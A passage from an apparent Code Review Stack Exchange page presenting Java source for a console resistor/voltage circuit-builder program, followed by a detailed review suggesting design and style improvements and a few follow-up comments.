/** method to get specific information about a resistor, a toString() that does not display the resistor Id, used when not wanting to display the id, no parameters
* @return String
* */
public String toStringFinal() {
return "Req "+this.getNodes()[0]+" "+this.getNodes()[1]+" "+this.resistance+" Ohms";
}
}
</code></pre>
<p>UserMain.java</p>
<pre><code>package circuit;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Scanner;
/**
* Main function that creates a circuit, and takes input from user to add resistors or voltage sources to the circuit, and display components within the circuit.
*
* Plan to add functionality that will check that the user has input a complete circuit (complete path from node 0 to node 0 through the circuit)
*
* Plan to add functionality that would allow inductors and capacitors to the circuit, likely using rectangular form complex calculations, and possibly phasors.
*
* Plan to add functionality that will allow voltage sources to be placed anywhere within the circuit.
*
* Plan to add functionality that will calculate voltages at each node and current leaving each node.
*
* Plan to add functionality to process Y-Delta transformations for resistors that can't be serial or parallel calculated.
*
* @author Michael Sinclair.
* @version 2.303
* @since 29 January 2019.
*/
public class UserMain {
/*Instance variables.*/
/* Need to take input from user */
protected static Scanner user;
/* Need dynamic node list to ensure only one node exists per node id */
protected static ArrayList<Node> nodeList;
/** Constructor to initialize instance variables, no parameters */
protected UserMain(){
UserMain.user = new Scanner(System.in);
UserMain.nodeList = new ArrayList<>();
}
/**Main method that interacts with user
* @param args.
* */
public static void main(String[] args){
/* Create objects in main */
Circuit cir = Circuit.getInstance();
@SuppressWarnings("unused")
UserMain instance = new UserMain();
/*Instruct user on how to use program.*/
System.out.println("Welcome to the circuit builder program.");
System.out.println("Input 'add' to add components into the circuit.");
System.out.println("Input 'edit' to remove components from the circuit.");
System.out.println("Input 'display' to display components currently in the circuit.");
System.out.println("Input 'calculate' to determine total resistance and current in circuit.");
System.out.println("Input 'end' to end the program.");
System.out.println("");
System.out.println("Input resistors (R) and voltage sources (V) into the circuit by the following syntax:");
System.out.println("R/V X Y Z");
System.out.println("R indicates a resistor and V indicates a voltage source.");
System.out.println("X is an integer indicating the first node attached to component.");
System.out.println("Y is an integer indicating the second node attached to component.");
System.out.println("Z a double indicating the resistance in Ohms or Voltage in volts.");
System.out.println("For example: R 1 2 10 will add a resistor connected to nodes 1 and 2 with a resistance of 10 Ohms.");
System.out.println("");
System.out.println("Rules:");
System.out.println("Voltage/Resistor values must be non-zero and Resistor values must also be non-negative. Voltage polarity is directed to increasing node Id.");
System.out.println("Calculation function will assume that nodes are ordered and sequential from 0 to N-1 where N is the total number of nodes.");
System.out.println("Voltage sources cannot be placed in parallel with eachother.");
System.out.println("");
System.out.println("V2.303 Notes:");
System.out.println("Resistors must be connected serially or in parallel. This program does not currently support connections that are neither.");
System.out.println("Currently the program only supports purely directly serial voltage sources, one of which must be between nodes 0 and 1.");
System.out.println("Voltages may not be connected in parallel with resistors.");
System.out.println("Currently it is the user's responsibility to enter a complete circuit.");
System.out.println("");
/* Request user input with input verification */
String input = null;
while(true) {
try {
/* test inputs */
input = UserMain.user.nextLine();
if(input.equals("add")) {
break;
}
if(input.equals("edit")) {
break;
}
if(input.equals("display")) {
break;
}
if(input.equals("calculate")) {
break;
}
if(input.equals("end")) {
break;
}
/* if not a viable input, allow user to retry */
throw new IllegalArgumentException("Enter a valid input.");
} catch (Exception e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Retry:");
}
}
/* While the program is not requested to end */
while (!"end".equals(input)){
/* if adding a component */
if ("add".equals(input)) {
/* request details with input verification */
System.out.println("Add a resistor or a voltage.");
input = UserMain.user.nextLine();
while(true){
try {
String[] testCase = input.split(" ");
/* if not the proper number of data entities in order to test further down */
if(testCase.length!=4) {
/* throw exception to keep user within loop */
throw new IllegalArgumentException("Input must be R/V X Y Z.");
}
/* otherwise allow program to proceed */
break;
} catch (IllegalArgumentException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Try again:");
input = UserMain.user.nextLine();
}
}
/* If resistor is being added */
if ((input.charAt(0) == 'r'||input.charAt(0) == 'R')&&input.charAt(1)==' '){
int firstNode = 0;
int secondNode=0;
double rVal=0.0;
/* Split input into various fields with input validation */
while(true) {
try {
String[] inputSplit = input.split(" ");
/* if not the proper number of data entities */
if(inputSplit.length!=4) {
/* throw exception to keep user within loop */
throw new IllegalArgumentException("Input must be R X Y Z.");
}
/* store the data */
String testLetter = inputSplit[0];
firstNode = Integer.parseInt(inputSplit[1]);
secondNode = Integer.parseInt(inputSplit[2]);
rVal = Double.parseDouble(inputSplit[3]);
/* if not a resistor entered */
if (!testLetter.equals("r")) {
if(!testLetter.equals("R")) {
/* throw exception to keep user within loop */
throw new IllegalArgumentException("You must enter a resistor.");
}
}
/* no negative resistances - testing against a double so do not test against exactly 0 due to imprecision in floating point numbers */
if(rVal < 0.00001){
throw new IllegalArgumentException("You enterred a resistance of "+rVal+". Resistances must be positive and non-zero.");
}
/* component must be connected to two different nodes */
if(firstNode == secondNode) {
throw new IllegalArgumentException("Components must be connected to two different nodes.");
}
/* only reached if no exceptions are thrown */
break;
/* note could just catch all exceptions since the retry message is the same, but that is bad practice */
} catch (NumberFormatException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Resistor syntax is R X Y Z. Input a resistor:");
input = UserMain.user.nextLine();
} catch(IllegalArgumentException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Resistor syntax is R X Y Z. Input a resistor:");
input = UserMain.user.nextLine();
} catch (ArrayIndexOutOfBoundsException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Resistor syntax is R X Y Z. Input a resistor:");
input = UserMain.user.nextLine();
}
}
/* create nodes if they do not already exist*/
NodeChecker evaluate = new NodeChecker(firstNode,secondNode,nodeList);
@SuppressWarnings("unused")
Node node1 = evaluate.getCheckedNode1();
@SuppressWarnings("unused")
Node node2 = evaluate.getCheckedNode2();
/*Find list index now that the node is definitely in the array.*/
int index1 = evaluate.findIndex(1);
int index2 = evaluate.findIndex(2);
/*Create add resistor to circuit.*/
Resistor res = new Resistor(rVal,nodeList.get(index1),nodeList.get(index2));
cir.addComponent(res);
/* track connections through nodes */
nodeList.get(index1).connect(res);
nodeList.get(index2).connect(res);
System.out.println("Added Resistor: "+res.toString());
}
/* If voltage source is being added */
else if ((input.charAt(0) == 'v'||input.charAt(0) == 'V')&&input.charAt(1)==' '){
int firstNode = 0;
int secondNode=0;
double vVal=0.0;
/* Split input into various fields with input validation */
while(true) {
try {
String[] inputSplit = input.split(" ");
/* if not the proper number of data entities */
if(inputSplit.length!=4) {
/* throw exception to keep user within loop */
throw new IllegalArgumentException("Input must be R X Y Z.");
}
/* store the data */
String testLetter = inputSplit[0];
firstNode = Integer.parseInt(inputSplit[1]);
secondNode = Integer.parseInt(inputSplit[2]);
vVal = Double.parseDouble(inputSplit[3]);
/* if not a voltage entered */
if (!testLetter.equals("v")) {
if(!testLetter.equals("V")) {
/* throw exception to keep user within loop */
throw new IllegalArgumentException("You must enter a voltage.");
}
}
/* component must be connected to two different nodes */
if(firstNode == secondNode) {
throw new IllegalArgumentException("Components must be connected to two different nodes.");
}
/* only reached if no exceptions are thrown */
break;
/* note could just catch all exceptions since the retry message is the same, but that is bad practice */
} catch (NumberFormatException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Voltage syntax is V X Y Z. Input a resistor:");
input = UserMain.user.nextLine();
} catch(IllegalArgumentException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Voltage syntax is V X Y Z. Input a resistor:");
input = UserMain.user.nextLine();
} catch (ArrayIndexOutOfBoundsException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Voltage syntax is V X Y Z. Input a resistor:");
input = UserMain.user.nextLine();
}
}
/* create nodes if they do not already exist*/
NodeChecker evaluate = new NodeChecker(firstNode,secondNode,nodeList);
@SuppressWarnings("unused")
Node node1 = evaluate.getCheckedNode1();
@SuppressWarnings("unused")
Node node2 = evaluate.getCheckedNode2();
/*Find list index now that the node is definitely in the array.*/
int index1 = evaluate.findIndex(1);
int index2 = evaluate.findIndex(2);
/*Create and add voltage source to circuit.*/
Voltage vol = new Voltage(vVal,nodeList.get(index1),nodeList.get(index2));
cir.addComponent(vol);
/* track connections through nodes */
nodeList.get(index1).connect(vol);
nodeList.get(index2).connect(vol);
System.out.println("Voltage added: "+vol.toString());
}
/* catch other bad inputs */
else {
System.out.println("Invalid input. Enter a voltage source or resistor with the following syntax R/V X Y Z. Try again:");
input = UserMain.user.nextLine();
}
}
/* option to remove components */
else if ("edit".equals(input)){
System.out.println("Which component would you like to remove? Enter only the unique identifier with no spaces (Ex. R1 or V2):");
/* store values */
input = UserMain.user.nextLine();
/* store input */
char[] question = null;
/* initialize Letter with a dummy value */
char Letter = '\0';
String Number = "";
/* test user input */
while(true) {
try {
/* store each character separately */
question = input.toCharArray();
/* if the first character entered is not in fact a character */
if(!Character.isLetter(question[0])) {
/* instruct user on error and to retry */
throw new IllegalArgumentException("Select a resistor with 'R' or a voltage with 'V'.");
}
Letter = question[0];
/* find the Id of the requested value */
for (int j = 1; j<question.length;j++){
Number += question[j];
}
/* if not an integer, this will throw a NumberFormatException */
Integer.parseInt(Number);
/* if a voltage or resistor are not selected */
if(Letter!='r') {
if(Letter!='R') {
if(Letter!='v') {
if(Letter!='V') {
throw new IllegalArgumentException("Select a resistor with 'R' or a voltage with 'V'.");
}
}
}
}
/* if the Number string does not contain at least one character */
if(Number.length()<1) {
throw new IllegalArgumentException("Must enter the unique Id of the component you wish to remove.");
}
/* if no exceptions are thrown */
break;
} catch(IllegalArgumentException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Enter only the Letter (R or V) and the number of the component you wish to remove. Try again:");
/* clear the Number string or else previous values will still be held within the string */
Number = "";
input = UserMain.user.nextLine();
} catch (ArrayIndexOutOfBoundsException e) {
/* instruct user on error and to retry */
System.out.println(e);
System.out.println("Invalid input. Voltage syntax is V X Y Z. Input a resistor:");
/* clear the Number string or else previous values will still be held within the string */
Number = "";
input = UserMain.user.nextLine();
}
}
/* if resistor requested */
if (Letter == 'r' || Letter == 'R') {
boolean flag = false;
Resistor Check=null;
/*check if it is in the list */
for (int i = 0; i <cir.getComponents().size();i++){
/* if that component is a resistor */
if(cir.getComponents().get(i) instanceof Resistor){
Check = (Resistor)cir.getComponents().get(i);
if (Check.getId() == Integer.parseInt(Number)){
/* if it is a resistor and in the list, remove it */
cir.getComponents().get(i).getNode1().disconnect(cir.getComponents().get(i));
cir.getComponents().get(i).getNode2().disconnect(cir.getComponents().get(i));
cir.getComponents().remove(i);
System.out.println("Removed component.");
/* stop searching */
flag = true;
break;
}
}
}
if (!flag) {
/* if it was not found*/
System.out.println("Resistor not found.");
}
}
/* if voltage requested */
else if (Letter == 'v' || Letter == 'V') {
boolean flag = false;
Voltage Check=null;
/*check if it is in the list */
for (int i = 0; i <cir.getComponents().size();i++){
/* if that component is a voltage */
if(cir.getComponents().get(i) instanceof Voltage){
Check = (Voltage)cir.getComponents().get(i);
if (Check.getId() == Integer.parseInt(Number)){
/* if it is a voltage and in the list, remove it */
cir.getComponents().get(i).getNode1().disconnect(cir.getComponents().get(i));
cir.getComponents().get(i).getNode2().disconnect(cir.getComponents().get(i));
cir.getComponents().remove(i);
System.out.println("Removed component.");
flag = true;
break;
}
}
}
/* if it was not found*/
if (!flag) {
System.out.println("Voltage not found.");
}
}
/* if bad input */
else System.out.println("Input component not recognized.");
}
/*If 'display' is input - print out the circuit components.*/
else if ("display".equals(input)){
/* if there are components */
if(cir.getComponents().size()>0) {
System.out.println("");
System.out.println("Components in circuit are:");
System.out.println(cir.toString());
System.out.println("");
}
/* otherwise - needed to avoid trying to print an empty array */
else {
System.out.println("No Components have been added yet.");
}
}
/* calculate Total Current/Voltage */
else if ("calculate".equals(input)) {
/* if there are components in the circuit */
if(cir.getComponents().size()!=0) {
/* get ground voltage */
System.out.println("");
System.out.println("Where is the ground voltage? Enter the unique node ID number only.");
input = UserMain.user.nextLine();
/* input verification - ground functionality to be added later */
int ground;
while(true) {
try {
ground = Integer.parseInt(input);
break;
} catch (NumberFormatException e) {
System.out.println("Invalid input. Enter only the node ID (an integer value):");
input = UserMain.user.nextLine();
}
}
System.out.println("");
System.out.println("Calculating:");
/*Display ordered components */
System.out.println("");
System.out.println("Components in circuit are:");
System.out.println(cir.toString());
System.out.println("");
/* perform the circuit analysis */
CircuitAnalysis Calculate = new CircuitAnalysis(ground, cir.getComponents(), nodeList);
Calculate.analyzeCircuit();
/* clear the old calculate object */
Calculate = null;
/* instruct user to continue altering circuit */
System.out.println("");
System.out.println("You may continue to operate on the circuit. Enter a new input command.");
}
/* if no components in the circuit - needed to avoid trying to operate on an empty circuit (empty array) */
else {
System.out.println("Must have components in circuit before calculating.");
}
}
/* loop back for invalid inputs */
else{
System.out.println("Invalid input. Enter a valid command as specified in the instructions.");
}
/*Request next instruction.*/
input = UserMain.user.nextLine();
}
/* Below shows that if two components are connected to the same node,
* they are in fact connected to exactly the same node (object) and not
* just nodes with the same id. In other words, nodes
* only exist as single objects.*/
/*System.out.println("Printing node list to show no duplicate nodes exist.");
for (Node node : nodeList){
System.out.println(node.toString());
}*/
/*Program end.*/
System.out.println("All Done");
}
}
</code></pre>
<p>Voltage.java</p>
<pre><code>package circuit;
/**
* A voltage source class that supplies voltage to the circuit and that is connected to two different nodes.
*
* It contains a voltage value.
*
* It also contains an inherited Id as well as two connected nodes from the Component class.
*
* @author Michael Sinclair.
* @version 2.302
* @since 27 January 2019.
*/
public class Voltage extends Component{
/*Instance variables.*/
private double voltage;
protected static int vnum = 1;
/**Constructor checks that voltage is non-zero, sets voltage and attaches two nodes with consistent polarity
* @param double v.
* @param Node nod1
* @param Node nod2*/
protected Voltage(double v, Node nod1, Node nod2) {
super(nod1,nod2);
double threshold = 0.00001;
/*Check that voltage is non-zero.*/
if (Math.abs(v) <= threshold){
throw new IllegalArgumentException("Voltage must be greater than 0.");
}
/*Check that both nodes exist.*/
if (nod1 == null || nod2 == null){
throw new IllegalArgumentException("Nodes must both exist before attaching voltage source.");
}
this.voltage = v;
this.setId(Voltage.vnum);
Voltage.vnum++;
/*Need a consistent directionality in the circuit, defined as in the direction of increasing node numbers.*/
/*For example V 2 1 1.0 is equivalent to V 1 2 -1.0.*/
if (this.nodal1.getId()>this.nodal2.getId()){
Node temp = this.getNode1();
this.nodal1 = this.nodal2;
this.nodal2 = temp;
this.voltage = -this.voltage;
}
}
/*Methods.*/
/** method to get voltage of voltage source, no parameters
*
* @return
*/
protected double getV() {
return this.voltage;
}
/** method to set voltage of voltage source, no return
*
* @param double v
*/
protected void setV(double v) {
this.voltage = v;
}
/**Print information about voltage source, overrides toString()
* @return String.*/
@Override
public String toString(){
return "V"+this.getId()+" "+this.getNodes()[0]+" "+this.getNodes()[1]+" "+this.voltage+" Volts DC";
}
/** required override for resistor subclass, but not needed for voltage sources, so simply mimics toString() */
public String toStringFinal() {
return "V"+this.getId()+" "+this.getNodes()[0]+" "+this.getNodes()[1]+" "+this.voltage+" Volts DC";
}
}
</code></pre>
| [] | [
{
"body": "<h1>General</h1>\n\n<h2>this.member</h2>\n\n<p>Statements like <code>this.components = new ArrayList<>();</code> do not need the <code>this.</code> prefix on the <code>components</code> variable. You only need to use a <code>this.</code> prefix if you've shadowed a member variable with an method argument using the same name. You should remove <code>this.</code> from everywhere it is not necessary.</p>\n\n<h2>Javadoc</h2>\n\n<p>The text \"No parameters\" and \"No return\" is superfluous. The information is available from the method signature.</p>\n\n<h1>Circuit</h1>\n\n<h2>getInstance()</h2>\n\n<p>The <code>Circuit</code> singleton is a bad idea. Ask yourself, \"can I ever have two?\" and you should realize that it is not that much of a stretch to have two circuits. You could compare two circuits, look for a difference between circuits, and so on. And if you use <code>JUnit</code> for testing, it wants to create brand new instances to run each test on; with a singleton, you've painted yourself into a corner.</p>\n\n<h2>toString()</h2>\n\n<p>Building <code>String</code> objects from many pieces is an expensive operation. <code>StringBuilder</code> removes much of the overhead, by using a large mutable buffer to accumulate partial results in. Use like:</p>\n\n<pre><code>StringBuilder sb = new StringBuilder();\n\nfor (...) {\n sb.append(...);\n}\n\nreturn sb.toString();\n</code></pre>\n\n<p><code>for(Object obj : components){</code> is throwing away useful type information. You know <code>components</code> is a <code>ArrayList<Component></code>, so you should use <code>Component</code> as the type of loop variable:</p>\n\n<pre><code>for (Component component: components) {\n</code></pre>\n\n<p>The <code>if (obj.getClass() == Resistor.class) { ... } if (obj instanceof Voltage) { ... }</code> is code smell. Doing it once, for one particular class type may be necessary, from time to time, but when you are doing multiple tests in a row, it is time to rethink the design. </p>\n\n<p>Starting with the most minor aspect, if <code>obj</code> was a <code>Resistor</code>, could it possible also be a <code>Voltage</code>? No? Then you should use <code>else if</code> for subsequent tests.</p>\n\n<p>I'm not sure what your goal here was:</p>\n\n<pre><code>/*Downcast to original object type to use class toString() method.*/\nstr+= (\"Resistor: \"+(Resistor)obj).toString()+\"\\n\";\n</code></pre>\n\n<p>First, you do not have to downcast to call <code>.toString()</code>. Second, <code>\"Resistor: \"+(Resistor)obj</code> automatically invokes <code>.toString()</code> on <code>(Resistor)obj</code> in order to do the concatenation. Third, since <code>Resistor</code> is overriding <code>String.toObject()</code>, the cast to <code>Resistor</code> is unnecessary. Fourth, the result is a string, so <code>(...).toString()</code> is asking a <code>String</code> object to return itself. This line could simply be:</p>\n\n<pre><code>str += \"Resistor: \" + obj + \"\\n\"; \n</code></pre>\n\n<p>But will you be adding other component types, such as a current sources, capacitor, and/or inductors? Having to track down and find everywhere you explicitly check the type of class will be time consuming and error prone. This is just for printing out the type of the object. Why not just ask the object for its type?</p>\n\n<pre><code>StringBuilder sb = new StringBuilder();\n\nfor (Component component: components) {\n sb.append(component.getType()); // new abstract function\n sb.append(\": \");\n sb.append(component.toString());\n sb.append(\"\\n\");\n}\n\nif (sb.getLength() > 0)\n sb.setLength(sb.getLength()-1); // Remove trailing \"\\n\"\n\nreturn sb.toString();\n</code></pre>\n\n<h1>Component</h1>\n\n<p><code>nodal1</code> and <code>nodal2</code> are protected, yet you have <code>getNode1()</code> and <code>getNode2()</code> methods which are also protected. Anything which can call <code>getNode1()</code> can already access <code>nodal1</code>. Perhaps you meant for them to be <code>private</code>, if you want to force the callers to use the <code>getNodeX()</code> accessor methods.</p>\n\n<p><code>Component</code> has exactly 2 node nodes. This excludes more interesting electrical components like transistors, which have 3, and transformers which can have more.</p>\n\n<p>Perhaps create a <code>public abstract class BranchComponent extends Component</code> which is used for electrical components having exactly 2 nodes. Or make <code>Component</code> general enough to handle an arbitrary number of nodes.</p>\n\n<h2>getNodes()</h2>\n\n<p>This returns <code>Node[]</code>, where as all of your other structures use the <code>Collection</code> objects. Consider returning a <code>List<Node></code> instead:</p>\n\n<pre><code>protected List<Node> getNodes() {\n return List.of(nodal1, nodal2);\n}\n</code></pre>\n\n<h2>setId()/getId()/equals()</h2>\n\n<p>Again, <code>id</code> is protected, and the functions are protected, so any code that wants to access <code>id</code> could simply access <code>id</code> instead of going through the accessor functions. Perhaps you meant for <code>id</code> to be <code>private</code>.</p>\n\n<p>Two components are equal if their <code>id</code> values are equal? This is very dangerous, given that the <code>id</code> numbers are duplicated for <code>Voltage</code> and <code>Resistor</code> components. Consider declaring them equal only if their respective classes are equal as well!</p>\n\n<p>Consider <strong>overriding</strong> <code>Object.equals(Object other)</code> instead of <strong>overloading</strong> the method signature, which could lead to hard-to-debug behaviour. <code>component.equals(other_component)</code> and <code>component.equals((Object) other_component)</code> are currently handled by different functions.</p>\n\n<pre><code>@Override\npublic boolean equals(Object other) {\n if (other instanceof Component) {\n Component c = (Component) other;\n return getId() == c.getId() && getClass() == c.getClass();\n }\n return false;\n}\n</code></pre>\n\n<h2>compare()</h2>\n\n<p>If you are defining a comparison method, you may as well <code>implement</code> the <code>Comparable<Component></code> interface, and use the official <code>compareTo()</code> method name. This will allow you to use standard library utilities for sorting, etc.</p>\n\n<p>Returning the difference of to <code>int</code> values for a positive/zero/negative comparison result is an anti pattern. It is possible for the subtraction to overflow and return the wrong result. You should use <a href=\"https://docs.oracle.com/javase/10/docs/api/java/lang/Integer.html#compare(int,int)\" rel=\"nofollow noreferrer\"><code>Integer.compare(int, int)</code></a> to be safe.</p>\n\n<pre><code>class Component implements Comparable<Component> {\n ...\n\n @Override\n public int compareTo(Component other) {\n ...\n }\n}\n</code></pre>\n\n<p>Since your comparison function depends upon the ordering of <code>Node</code> objects, you should make them comparable too. Then your <code>compareTo</code> method could be written:</p>\n\n<pre><code>int result = getNode1().compareTo(other.getNode1());\nif (result == 0) {\n result = getNode2().compareTo(other.getNode2());\n}\nreturn result;\n</code></pre>\n\n<h2>toStringFinal()</h2>\n\n<p>Method name doesn't make it clear what this function is intended to do. What is <code>final</code> about the returned string?</p>\n\n<h1>Node</h1>\n\n<p>Node has an private <code>id</code>, which is initialized by the constructor. There is no <code>setId()</code>. Perhaps <code>id</code> should be <code>final</code>. For that matter, <code>attachments</code> could be <code>final</code> as well, since you never reassign the container.</p>\n\n<h2>toString()</h2>\n\n<p><code>Integer.toString(id)</code> is preferable over <code>\"\"+this.id</code>. Without optimizations, the latter would call <code>Integer.toString()</code> to create the string representing the value, and concatenate that with the first empty string, to create a third string. The former directly returns the string.</p>\n\n<h2>toStringAttachments()</h2>\n\n<p>A <code>StringBuilder</code> would be appropriate here.</p>\n\n<h2>compareTo()</h2>\n\n<p>Have the <code>class Node implements Comparable<Node></code>, and implement a <code>public boolean compareTo(Node other)</code> method, for use by <code>Component.compareTo()</code>.</p>\n\n<h1>NodeChecker</h1>\n\n<p>I'm sorry. This class is just a mess of half thought-out design. As evidenced by its usage:</p>\n\n<pre><code>NodeChecker evaluate = new NodeChecker(firstNode,secondNode,nodeList);\n@SuppressWarnings(\"unused\")\nNode node1 = evaluate.getCheckedNode1();\n@SuppressWarnings(\"unused\")\nNode node2 = evaluate.getCheckedNode2();\n\n/*Find list index now that the node is definitely in the array.*/\nint index1 = evaluate.findIndex(1);\nint index2 = evaluate.findIndex(2);\n\n/*Create add resistor to circuit.*/\nResistor res = new Resistor(rVal,nodeList.get(index1),nodeList.get(index2));\nnodeList.get(index1).connect(res);\nnodeList.get(index2).connect(res);\n</code></pre>\n\n<p>So the values returned by <code>getCheckedNode1()</code> and <code>getCheckedNode2()</code> are not used. Why are they being retrieved at all? Then <code>findIndex()</code> is used to locate the position in the array, followed by <code>nodeList.get()</code> twice for each node index? Why not use the values returned by <code>getCheckedNode_()</code>? We need to look no further that the <code>NodeChecker()</code> constructor:</p>\n\n<pre><code>this.node1 = new Node(nod1);\n\nint flag1 = 0;\n/*If nodes do not exist, create them.*/\nfor (Node node : nodeList){\n if (node.getId() == node1.getId()){\n /*If found set flag and break.*/\n flag1 = 1;\n break;\n } \n}\n\n/*If not found.*/\nif (flag1 == 0){\n nodeList.add(node1);\n}\n</code></pre>\n\n<p>plus duplicate code for <code>node2</code> using <code>flag2</code>.</p>\n\n<p>Summarizing. You unconditionally create a <code>new Node()</code> for the node id, then search for a node in the <code>nodeList</code> who's id is the same as the new node's id (fetching that id each time through the loop!). If found, you use an <code>int</code> variable (instead of a <code>boolean</code>) as a flag to remember that it was found, but do nothing with the found node. If not found, you add the unconditionally created node to the <code>nodeList</code>. Whether or not the node was found in the list or not, the newly created node is remembered for <code>getCheckedNode()</code>, but it can't be used because it may have just been created without adding it to the <code>nodeList</code>. And you do the same thing for the other node id.</p>\n\n<p>Rip out the entire <code>NodeChecker</code> class.</p>\n\n<p>To <code>class Node</code>, add the following method:</p>\n\n<pre><code>public static Node findOrCreate(int node_id, List<Node> nodeList) {\n for(Node node : nodeList) {\n if (node.getId() == node_id)\n return node;\n }\n\n Node new_node = new Node(node_id);\n nodeList.add(new_node);\n return new_node;\n}\n</code></pre>\n\n<p>And here is code equivalent to the code at the start of this section, to demonstrate its usage:</p>\n\n<pre><code>Node node1 = Node.findOrCreate(firstNode, nodeList);\nNode node2 = Node.findOrCreate(secondNode, nodeList);\n\n/*Create add resistor to circuit.*/\nResistor res = new Resistor(rVal, node1, node2);\nnode1.connect(res);\nnode2.connect(res);\n</code></pre>\n\n<p>The check in <code>NodeChecker</code> for <code>node1 == node2</code> has been eliminated, but you are already checking that in <code>UserMain</code>:</p>\n\n<pre><code>if(firstNode == secondNode) {\n throw new IllegalArgumentException(\"Components must be connected to two different nodes.\");\n}\n</code></pre>\n\n<h1>Resistor</h1>\n\n<p><code>double threshold = 0.00001;</code> should be removed from the constructor, and changed into a class constant:</p>\n\n<pre><code>public final static double MIN_RESISTANCE = 0.00001;\n</code></pre>\n\n<p><code>resistance</code> is initialized in the constructor, and never changed. It should be declared <code>final</code>.</p>\n\n<h2>set_current()/get_current()</h2>\n\n<p>You've broke with convention and used an underscore. The Java Bean Standard for getters and setters is no underscore and capitalize the first letter after get/set: <code>setCurrent()</code> and <code>getCurrent()</code>.</p>\n\n<h2>toString()/toStringFinal()</h2>\n\n<p>You are accessing <code>this.getNodes()[0]</code> and <code>this.getNodes()[1]</code>. Each call to <code>getNodes()</code> is constructing and returning a new <code>Node[]</code> array. You extract 1 element from the array, discard the array, and then immediately request a new copy of the array. For efficiency, you should just call <code>getNodes()</code> once, and access the returned value twice for the desired nodes.</p>\n\n<pre><code>Node[] nodes = getNodes();\nreturn return \"R\" + getId() + \" \" + nodes[0] + \" \" + nodes[1] + \" \" + resistance + \" Ohms\";\n</code></pre>\n\n<p>Or perhaps:</p>\n\n<pre><code>return String.format(\"R%d %s %s %f Ohms\", getId(), nodes[0], nodes[1], resistance);\n</code></pre>\n\n<h1>Voltage</h1>\n\n<p>Similar comments to <code>Resistor</code>. Change <code>threshold</code> to <code>public static final double MIN_VOLTAGE</code>. Make the <code>toString()</code> methods more efficient.</p>\n\n<h1>UserMain</h1>\n\n<p>Why are you creating a <code>UserMain</code> object to initialize 2 static variables?</p>\n\n<p>Exception handling is a huge sledge hammer to use for validation of 1 of 5 words. Instead, use:</p>\n\n<pre><code>private final static List<String> COMMANDS = List.of(\"add\", \"edit\", \"display\", \"calculate\", \"end\");\n\n...\n\nwhile (true) {\n input = UserMain.user.nextLine();\n if (COMMANDS.contains(input))\n break;\n System.out.println(\"Invalid input. Must be one of: \" + String.join(\" \", COMMANDS);\n System.out.println(\"Retry:\");\n}\n</code></pre>\n\n<p>When you do need it to catch exceptions, if your exception handling is <strong>identical</strong> for all exceptions, use a compound exception handler:</p>\n\n<pre><code>} catch (NumberFormatException | IllegalArgumentException | ArrayIndexOutOfBoundsException e) {\n /* instruct user on error and to retry */\n System.out.println(e);\n System.out.println(\"Invalid input. Resistor syntax is R X Y Z. Input a resistor:\");\n input = UserMain.user.nextLine();\n}\n</code></pre>\n\n<h1>Structure</h1>\n\n<p>As mentioned above, <code>Circuit</code> should allow multiple instances.</p>\n\n<p><code>Circuit</code> could have as a member <code>Map<Integer,Node></code> which would give you <span class=\"math-container\">\\$O(1)\\$</span> lookup of a <code>Node</code> from a node number.</p>\n\n<p>Instead of numbering nodes and resistors, you could name them instead. Then you could have both:</p>\n\n<pre><code>Map<String, Node> nodes = new HashMap<>();\nMap<String, Component> components = new HashMap<>();\n</code></pre>\n\n<p>And have a node named \"mid\", and branch named \"load\".</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T01:04:32.927",
"Id": "411715",
"Score": "2",
"body": "I agree with almost all the points mentioned in this answer. One thing you should be careful with is the use of `Comparable`. This interface should only ever be used if there is a single obvious meaning of what the word \"greater\" means for a type. For numbers, this is the case. For components or nodes it is not obvious, therefore these classes should not implement `Comparable` but use a separate `Comparator` instead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T01:23:14.353",
"Id": "411716",
"Score": "1",
"body": "@RolandIllig That is a fair point. I’ll rework the answer when I get to reviewing `CircuitAnalysis`, which is where the sorting is actually done."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T13:26:58.660",
"Id": "412243",
"Score": "0",
"body": "@AJNeufeld Amazing, thank you so much. I will get to work on all the points you have mentioned. This is so helpful, and has given me quite a bit to study/learn/improve on. I really appreciate the time you spent going through all this. Once code is updated, what is normal protocol for StackOverflow? Should I edit my original post to update the code blocks? I am in midterm season right now, but hope to get to updating it this weekend sometime."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T14:14:37.040",
"Id": "412248",
"Score": "1",
"body": "**Do not edit your question**. See [what should I do when someone answers my question](https://codereview.stackexchange.com/help/someone-answers) for details about writing *new* follow up questions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-12T14:22:03.057",
"Id": "412619",
"Score": "0",
"body": "@AJNeufeld when should someone choose to shadow a variable? It feels arbitrary. Also in one particular example I have a conditional statement: \"if (getNode1().getId() == other.getNode1().getId()) {\" where getNode1() returns the first node of the object that calls the method. Would it be acceptable to use this.getNode1() despite not shadowing the variable if I felt it made the code more readable? Is there any effect on program metrics when using 'this' or not? Would it be poor formatting to only sometimes use this/shadow variables?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-12T15:03:51.807",
"Id": "412621",
"Score": "1",
"body": "“When should someone ... shadow a variable?” Short answer: never. Slightly longer answer: only when the variable is used just once, but only if you can’t think of a clear way around it. As for stylistic uses of `this`, such as `if (this.member == that.member) {...}`, I doubt anyone on Code Review would complain. Re: effect on code metrics: that would depend entirely on the metrics system you choose to evaluate your code with. Or do you mean performance metrics, in which case the answer is “no”."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-12T17:24:07.247",
"Id": "412637",
"Score": "0",
